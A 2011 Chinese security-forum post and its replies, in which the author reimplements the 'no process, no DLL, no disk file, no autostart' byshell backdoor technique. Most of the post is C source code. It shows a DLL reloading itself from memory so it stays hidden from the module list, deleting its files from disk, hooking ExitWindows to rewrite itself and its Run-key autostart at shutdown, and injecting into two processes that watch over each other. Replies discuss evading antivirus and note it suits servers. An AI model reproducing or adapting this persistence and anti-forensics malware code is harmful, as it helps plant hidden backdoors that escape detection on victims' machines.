首页
社区
课程
招聘
[原创]无进程无启动项无硬盘文件运行程序的研究
发表于: 2011-7-12 10:01 38905

[原创]无进程无启动项无硬盘文件运行程序的研究

2011-7-12 10:01
38905

小弟新人,初来乍到看雪,看到无数大牛们的文章作品,总觉得自己也该写点什么,可惜手生技疏,怕是会让大牛们贻笑大方,于是迟迟不敢写出来。今天总算是鼓足勇气献丑,第一次发帖,牛牛们多多关照。
     从前给人做东西的时候,无意中发现了网上byshell后门这玩意,号称“无进程无DLL无硬盘文件无启动项 ”,于是就试着山寨一个,以下个人愚见。
     实现这种程序无非需要以下几种条件:
     1.程序运行的时候,直接将自己load内存中执行,释放本身硬盘文件,从而达到无硬盘文件。
     2.检测到关机信号,并且在关机前将自身完整复制到硬盘保存,恢复启动方式。
     3.开机启动时,删除启动痕迹,程序体躲入内存中。
实现这三个条件,那么传说的“无进程无DLL无硬盘文件无启动项”的雏形就完成了。
下面我们就来实现这三个功能,代码比较粗鲁,欢迎牛牛们指正。
准备工作:
首先定义一个结构
typedef struct _procstruct
{
  int isFirstCalled;
  HMODULE passMod;
  char *path;
  void * dllAddr;
  int exeSize;
  char *ePath;
  int dllSize;
  
}ProcStruct,*PProcStruct;
在我们转移dll数据时会用到.

其次,HOOK 掉进程ExitWindows函数,用来截获关机信号。关机的时候windows会一个个的给进程发送关机消息,实际上只要把我们的程序注入到有窗口类的进程如explorer winlogon之类的就可以补获到关机信号。
接下来,内存loader。这儿我用的是网上找了国外一位大牛的内存loader,不是自己写的。可以在内存中加载我们的程序。

准备工作就绪,进入正题:
我们设定我们的程序是一个dll。先看看DllMain里面的处理,看不懂没关系,下面有解释。
BOOL APIENTRY DllMain( HMODULE hModule,
            DWORD  ul_reason_for_call,
            LPVOID lpReserved
            )
{
  
   
   

  switch (ul_reason_for_call)
  {
  case DLL_PROCESS_ATTACH:
    {

      //dll被注入的时候我们便开始我们的工作
      char ProcPath[512];
      char *ProcName;
      GetModuleFileNameA(NULL,ProcPath,512);
                                               ProcName=strrchr(ProcName,'\\');
      ++ProcName;//获得当前进程名

      PProcStruct reserverd=(PProcStruct)lpReserved;//定义个一个用来传递信息的结构
      if((lpReserved!=NULL)&&(reserverd->isFirstCalled==SECOND_CALL))
      {//第二次load

                                    strcpy(dllPath,reserverd->path);
        strcpy(exePath,reserverd->ePath);
        dllModule=reserverd->passMod;
        MemAlise=reserverd->dllAddr;
        printf("mem=%d ",(int)MemAlise);
        MemSize=reserverd->dllSize;
        exeSize=reserverd->exeSize;
        printf("size=%d\n",MemSize);

        //设置线程等待量    
        wait =0;
        if(strcmpi(ProcName,PROTECT_PROCESS))
        {             
                                                                   //如果不是运行在保护进程则启动第三保护线程
          //OutputDebugString("启动第三线程!\n");
          _beginthread(thirdThread,0,NULL);
        }

                                                          //最后开启第二工作线程          
        _beginthread(secondThread,0,NULL);

      }
      else
      { //当dll是第一被load的时候
                 
                printf("原dll调用!\n");
            GetModuleFileNameA(hModule,dllPath,MAX_PATH);

              dllModule=hModule;          
            _beginthread(mainThread,0,NULL);
                          
      }
      
      

    
  case DLL_THREAD_ATTACH:
    break;
  case DLL_THREAD_DETACH:
    break;
  case DLL_PROCESS_DETACH:
    {        
      
    }
    break;
  }
  return TRUE;
}

代码有些乱,大家可能看得比较模糊。我来解释一下。
DLL第一次被LoadLibrary加载进内存的时候,我们的struct _procstruct结构参数isFirstCall可以判断到并开始首次加载工作。
1.保存dll句柄、文件名
2.启动线程mainThread,mainThread拷贝dll以及相关的程序保存到内存中,然后调用内存loader直接加载内存中的dll,并且传人我们的struct _procstruct结构。有的人会疑问此时内存岂不是有两份相同的dll被加载了。是的!由于内存loader是我们自己的东西,所以我们可以在让它加载dll的时候,不挂接到进程dll模块列表,对于进程来说,我们后加载进的dll是看不见的。我觉得这也算是一种隐藏dll模块的方法,只不过有些旁门左道。
我们再来看一下这个ProcStruct结构
typedef struct _procstruct
{
        int isFirstCalled;//是不是第一次被调用
        HMODULE passMod;//传入的首次加载dll的句柄,用于接下来free掉
        char *path;//dll的路径,用于最后关机时候保存dll到原来的路径
        void * dllAddr;//内存中存放的dll的首地址
           int dllSize;//大小
        int exeSize;//
        char *ePath;//这个是附加存了一个exe到内存中,因为我这儿启动的时候用这个exe来加载我们的dll.
       
       
}ProcStruct,*PProcStruct;
3.第二次加载内存dll时候,通过传人的ProcStruct结构获得相关的参数,我们传入首次加载的dll句柄和文件路径,这样在我们第二次加载后,启动一个线程,把首次加载的dll free掉,然后就可以大大方方删掉这个dll了。实现无硬盘文件功能。
4.当然在第二次加载的时候还要设定个钩子勾住ExitWindows,用来关机的时候保存我们的文件和启动方式。另外还可以添加一些功能。在这儿我弄了个双进程守护,用来防止我们的寄宿的进程被无意或有意关闭。因为一旦这样,我们的程序就尸骨无存了。进了secondThread之后先判断是不是我们设定寄宿的进程,不是就先free掉dll句柄,然后往设定的保护内进程注入。保护进程注入成功之后,便开始重复动作,直至进入secondThread检测进程,如果检测到是保护进程,那么开始hook Exitwindows,free 掉dll句柄,检测全局运行量(由工作线程设定,用于判读工作进程存在情况)。一旦发现全局运行量不存在,把内存的dll给写出到硬盘,然后检测往我们的设定的工作进程注入。又是一个重复动作到secondThread,工作进程就干两件事,删文件,做爱做的事。当然这儿在注入时候也可以直接把本进程内存数据WriteProcessMemory写入到要注入的进程,就可以不必写回硬盘再load了。
mainThread和secondThread代码
void mainThread(void *p)
{

        char szDriver[32];
        char szPath[MAX_PATH];
        char modPath[512];
        FILE *fp,*fp2;

        GetModuleFileNameA(dllModule,modPath,512);
        strcpy(dllPath,modPath);

        _splitpath(dllPath,szDriver,szPath,NULL,NULL);
        ZeroMemory(exePath,MAX_PATH);
        strcpy(exePath,szDriver);
        strcat(exePath,szPath);
        strcat(exePath,"ImExer.exe");

                //拷贝dll到进程空间
        fp=fopen(modPath,"rb");
        fp2=fopen(exePath,"rb");
       
        if (!fp)
                return;
        int size = filelength(fileno(fp));
        int size2;
        if(fp2)
       size2= filelength(fileno(fp2));
        else
           size2=0;
        void *pMemoryAddr=VirtualAlloc(NULL,size+size2,MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
        if (pMemoryAddr==NULL)
        {
                fclose(fp);
                return;
        }
        char *add;
        add=(char *)pMemoryAddr;
        //这儿没用什么缓冲机制,因为执行文件较小,所以就简单的一个字节一个字节的写内存了
          //另外也没有用WirteProcessMemory之类的函数不知道科学不科学
        while (size>0&&!feof(fp))
        {

                *add=(char)getc(fp);
                ++add;      
        }
        add--;
        while (size2>0&&!feof(fp2))
        {
                *add=(char)getc(fp2);
                ++add;
        }
               fclose(fp);
        fclose(fp2);

        PProcStruct reserved=new ProcStruct();
        reserved->passMod=dllModule;
        reserved->dllAddr=pMemoryAddr;
        reserved->exeSize=size2;
        reserved->dllSize=size;
        reserved->ePath=exePath;
        reserved->path=dllPath;
        reserved->isFirstCalled=SECOND_CALL;

        HMEMORYMODULE memMod=MemoryLoadLibrary(pMemoryAddr,reserved);//保存好dll的信息,用内存loader再一次加载
        if (memMod!=NULL)
        {
                OutputDebugString("启动成功!\n");
        }
        else
        {
                OutputDebugString("启动失败\n");
        }
       
   
}

void secondThread(void *p)
{
       
     
     char ExecPath[512];
         char FileName[128];
         char Ext[128];
         GetModuleFileNameA(NULL,ExecPath,512);
     _splitpath(ExecPath,NULL,NULL,FileName,Ext);
         strcat(FileName,Ext);
     printf(FileName);

        if(!strcmpi(FileName,PROTECT_PROCESS))
        {
//判断系统预定进程

//删除启动项
               
                HKEY hKey;
                LPCTSTR lpRun = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
                long lRet = RegOpenKeyEx(HKEY_LOCAL_MACHINE, lpRun, 0, KEY_ALL_ACCESS, &hKey);

                if(lRet == ERROR_SUCCESS)
                {
                        lRet = RegDeleteValue(hKey, "WorkAssist");
                        RegCloseKey(hKey);
                }

        

                FreeLibrary(dllModule);       
                WaitForSingleObject(dllModule,10000);
      
               
        
                OutputDebugStringA(FileName);
                SetHooker(dllModule,SaveMyDll);//设置关机钩子
                      //SaveMyDll是我们的回调函数,用来关机保存
                while (TRUE)
                {
                        if(wait==SLEEP_MODE)
                        {//关机回调函数会设定一个值用于在关机时候我们的保护线程停止保护功能
                                Sleep(10000);
                                break;
                        }
                        if(!AppInstanceExists())
                        {//没发现工作线程在工作的时候就检测并注入到工作线程

                                //如果文件存在或者内存中有文件数据
                                if(MemAlise!=NULL)
                                {
                                        FILE* fp,*fp2;
                                        char *add=(char *)MemAlise;
                                        int msize=MemSize;
                                        fp=fopen(dllPath,"wb");
                                        fp2=fopen(exePath,"wb");
                                        if(fp)
                                        {
                                                while (msize>0)
                                                {
                                                        fputc((*add),fp);
                                                        ++add;
                                                        --msize;
                                                }
                                                fflush(fp);
                                                fclose(fp);
                                        }
                                        msize=exeSize;
                                        if(fp2)
                                        {
                                                while (msize>0)
                                                {
                                                        fputc((*add),fp2);
                                                        ++add;
                                                        --msize;
                                                }
                                                fflush(fp2);
                                                fclose(fp2);
                                        }
                                        OutputDebugStringA("写执行文件到系统!");
                                  
                                  }
                                //还原
                                do
                                {
                                        int pid=GetPid(WORK_PROCESS);
                                        if(pid)
                                                break;
                                        OutputDebugStringA("获取pid\n");
                                        Sleep(3000);
                                } while (1);

                //清除同步量
                                if (g_hMutexAppRunning != NULL )
                                {  
                                        CloseHandle(g_hMutexAppRunning);
                                        g_hMutexAppRunning = NULL;
                                }
                OutputDebugStringA("注入保护进程!\n");
                                InjectProcess(dllPath,WORK_PROCESS);

                        }
                        else
                        {
                                OutputDebugStringA("保护进程中运行!!");
                        }

            OutputDebugStringA(PROTECT_PROCESS);
                        Sleep(3000);
                       
                }

        }
        else if (!strcmpi(FileName,WORK_PROCESS))
        {
        
                //强制关闭我们的执行程序
                int pid=GetPid("ImExer.exe");
                if(pid)
                {
                        HANDLE handle=OpenProcess(PROCESS_TERMINATE,FALSE,pid);
                        if(handle)
                        {
                                TerminateProcess(handle,0);
                        }
                        CloseHandle(handle);
                }

                FreeLibrary(dllModule);       
                WaitForSingleObject(dllModule,10000);          
                //   删除自身文件
                OutputDebugStringA("准备删除自身文件!!");

                //这儿用的是最原始的方式,删不掉就继续删,直到删掉为止
                BOOL aOK=(access(dllPath,0)==-1);
                BOOL bOK=(access(exePath,0)==-1);
                while (true)
                {

                        if(!aOK)
                        {
                                DeleteFile(dllPath);
                                aOK=(access(dllPath,0)==-1);
                        }
                        if(!bOK)
                        {
                                DeleteFile(exePath);
                                bOK=(access(exePath,0)==-1);
                        }

                        if(aOK&&bOK)
                                break;
                        Sleep(1000);                 
                }
        OutputDebugString("删除自身程序完成!!");
               
                if(AppInstanceExists())
                {//不让两个工作线程同时运行
                        return;
                }
      
                while (true)
                {
                        //此处是程序执行空间
                        OutputDebugStringA(WORK_PROCESS);
            
                        Sleep(500);
                }
               
               

        }
        else
        {
                        // 发现运行的进程神马都不是                       
                        FreeLibrary(dllModule);       
                        WaitForSingleObject(dllModule,10000);
                        。
                                。
                                。
                               //注入保护进程
        }

}

     至此,程序的大部分功能就七七八八了。在实现方面,估计有太多需要改进的地方。启动项设置,注入方式等等都是可以自定义的地方。我这儿用了最简单的注册表启动和远程线程注入就不贴出来了。完整程序在下面。


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 7
支持
分享
最新回复 (59)
雪    币: 65
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
断电此程序就over了!
2011-7-12 10:42
0
雪    币: 18
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
确实这样。不过相信很少有人会干自我断电这事吧,除非系统关不了机。不知道这一块有没有可以改进的方法
2011-7-12 10:47
0
雪    币: 193
活跃值: (64)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
4
无进程无DLL无硬盘文件无启动项 听起来好可怕啊!
2011-7-12 10:53
0
雪    币: 27
活跃值: (127)
能力值: ( LV8,RANK:120 )
在线值:
发帖
回帖
粉丝
5
有点意思,看看
2011-7-12 10:56
0
雪    币: 202
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
不错关注!!!
2011-7-12 19:27
0
雪    币: 796
活跃值: (370)
能力值: ( LV9,RANK:380 )
在线值:
发帖
回帖
粉丝
7
不实用。。。。。。
2011-7-12 20:03
0
雪    币: 2284
活跃值: (2170)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
8
确实不怎么实用啊,添加开机启动项就被拦了。
而且这么猥琐的方法估计早被微点这样的主防干了吧。。。
2011-7-12 20:15
0
雪    币: 18
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
9
启动项的处理不是我这篇文章处理的重点,用注册表启动只是做个实例,没有想深究启动启动的实用性,实际上你会在我的源码中发现几种启动方式。而且你可以添加自己的启动处理方式。
2011-7-12 21:00
0
雪    币: 18
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
10
测试过各种杀软,除了启动项和注入方面会遭到拦截外,其他的动作不会引起主防的反应。
2011-7-12 21:01
0
雪    币: 8835
活跃值: (2404)
能力值: ( LV12,RANK:760 )
在线值:
发帖
回帖
粉丝
11
对于此类病毒可以用传说中脚踹机箱电源杀毒法
2011-7-12 21:38
0
雪    币: 2284
活跃值: (2170)
能力值: (RANK:400 )
在线值:
发帖
回帖
粉丝
12
雷劈保险丝杀毒法。。。
2011-7-13 08:21
0
雪    币: 193
活跃值: (64)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
13
楼上两位表达了我酝酿已久而酝酿不出来的词汇,赞一个!
2011-7-13 08:38
0
雪    币: 415
活跃值: (34)
能力值: ( LV5,RANK:60 )
在线值:
发帖
回帖
粉丝
14
写的不错,有前途
2011-7-13 08:43
0
雪    币: 38
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
15
Mark一下,以后再细读
2011-7-13 09:07
0
雪    币: 178
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
have a look !
2011-7-13 09:57
0
雪    币: 18
活跃值: (26)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
17
精辟!哈哈!
2011-7-13 13:37
0
雪    币: 253
活跃值: (16)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
18
硬关机就删除的一干二净了,这木马好啊,省了杀毒软件了。
2011-7-13 13:46
0
雪    币: 120
活跃值: (160)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
19
Hook关机按扭或者断电的函数。。让断电后也摸不到程序
2011-7-13 14:10
0
雪    币: 88
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
20
不断电,蓝一下怎么办,写个蓝屏回调吧
2011-7-13 15:11
0
雪    币: 193
活跃值: (64)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
21
找个人专门看守电脑,禁止强行关机,断电,蓝屏!
2011-7-13 15:22
0
雪    币: 219
活跃值: (38)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
22
菜鸟 学习学习 !~~
2011-7-14 17:46
0
雪    币: 222
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
23
mark下。。。
2011-7-16 02:51
0
雪    币: 27
活跃值: (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
24
完全可以继续无DLL的嘛
2011-7-16 17:55
0
雪    币: 287
活跃值: (10)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
25
此物主要是在服务器上使用~~~
2011-7-16 22:59
0
游客
登录 | 注册 方可回帖
返回
//